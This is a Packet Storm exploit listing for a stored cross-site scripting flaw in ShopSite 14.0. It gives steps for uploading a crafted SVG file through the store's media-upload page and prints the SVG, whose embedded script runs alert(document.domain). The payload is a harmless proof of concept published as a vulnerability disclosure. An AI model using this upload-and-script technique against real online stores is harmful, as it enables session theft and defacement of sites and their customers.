ShopSite 14.0 Cross Site Scripting ≈ Packet Storm

Home^[1] Files^[2] News^[3] &[SERVICES_TAB] Contact^[4] Add New^[5]

Change Mirror^[11] Download^[12]

        # Exploit Title: ShopSite Version: 14.0 - Stored XSS
# Date: 2023-12-25
# Exploit Author: tmrswrr
# Category : Webapps
# Vendor Homepage: https://www.shopsite.com/
# Version: 14.0
# Tested on: https://www.shopsite.com/demo.html
1 ) Upload poc.svg file here : https://demo.shopsite.com/cgi-bin/ssdemos/stores/alsdemo/ss/mediam.cgi
poc.svg
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 500">
<script>//<![CDATA[
alert(document.domain)
//]]>
</script>
</svg>
2 ) Check here will be see alert button : https://a-demo-store.com/ssdemos/stores/alsdemo3/media/ss_sunglasses/aaa.svg

• Follow us on Twitter^[15]
• Follow us on Facebook^[16]
• Subscribe to an RSS Feed^[17]

File Tags

• ActiveX^[18] (932)
• Advisory^[19] (83,569)
• Arbitrary^[20] (16,455)
• BBS^[21] (2,859)
• Bypass^[22] (1,804)
• CGI^[23] (1,031)
• Code Execution^[24] (7,455)
• Conference^[25] (683)
• Cracker^[26] (843)
• CSRF^[27] (3,355)
• DoS^[28] (24,097)
• Encryption^[29] (2,373)
• Exploit^[30] (52,326)
• File Inclusion^[31] (4,236)
• File Upload^[32] (981)
• Firewall^[33] (822)
• Info Disclosure^[34] (2,812)
• Intrusion Detection^[35] (900)
• Java^[36] (3,091)
• JavaScript^[37] (881)
• Kernel^[38] (6,865)
• Local^[39] (14,598)
• Magazine^[40] (586)
• Overflow^[41] (12,895)
• Perl^[42] (1,427)
• PHP^[43] (5,164)
• Proof of Concept^[44] (2,355)
• Protocol^[45] (3,664)
• Python^[46] (1,571)
• Remote^[47] (31,106)
• Root^[48] (3,609)
• Rootkit^[49] (516)
• Ruby^[50] (614)
• Scanner^[51] (1,645)
• Security Tool^[52] (7,934)
• Shell^[53] (3,218)
• Shellcode^[54] (1,216)
• Sniffer^[55] (897)
• Spoof^[56] (2,232)
• SQL Injection^[57] (16,459)
• TCP^[58] (2,419)
• Trojan^[59] (687)
• UDP^[60] (896)
• Virus^[61] (667)
• Vulnerability^[62] (32,170)
• Web^[63] (9,798)
• Whitepaper^[64] (3,760)
• x86^[65] (966)
• XSS^[66] (18,066)
• Other^[67]

File Archives

• December 2023^[68]
• November 2023^[69]
• October 2023^[70]
• September 2023^[71]
• August 2023^[72]
• July 2023^[73]
• June 2023^[74]
• May 2023^[75]
• April 2023^[76]
• March 2023^[77]
• February 2023^[78]
• January 2023^[79]
• Older^[80]

Systems

• AIX^[81] (429)
• Apple^[82] (2,049)
• BSD^[83] (375)
• CentOS^[84] (57)
• Cisco^[85] (1,926)
• Debian^[86] (6,932)
• Fedora^[87] (1,693)
• FreeBSD^[88] (1,246)
• Gentoo^[89] (4,393)
• HPUX^[90] (880)
• iOS^[91] (366)
• iPhone^[92] (108)
• IRIX^[93] (220)
• Juniper^[94] (69)
• Linux^[95] (48,034)
• Mac OS X^[96] (691)
• Mandriva^[97] (3,105)
• NetBSD^[98] (256)
• OpenBSD^[99] (487)
• RedHat^[100] (14,730)
• Slackware^[101] (941)
• Solaris^[102] (1,611)
• SUSE^[103] (1,444)
• Ubuntu^[104] (9,182)
• UNIX^[105] (9,345)
• UnixWare^[106] (187)
• Windows^[107] (6,612)
• Other^[108]

© 2022 Packet Storm. All rights reserved.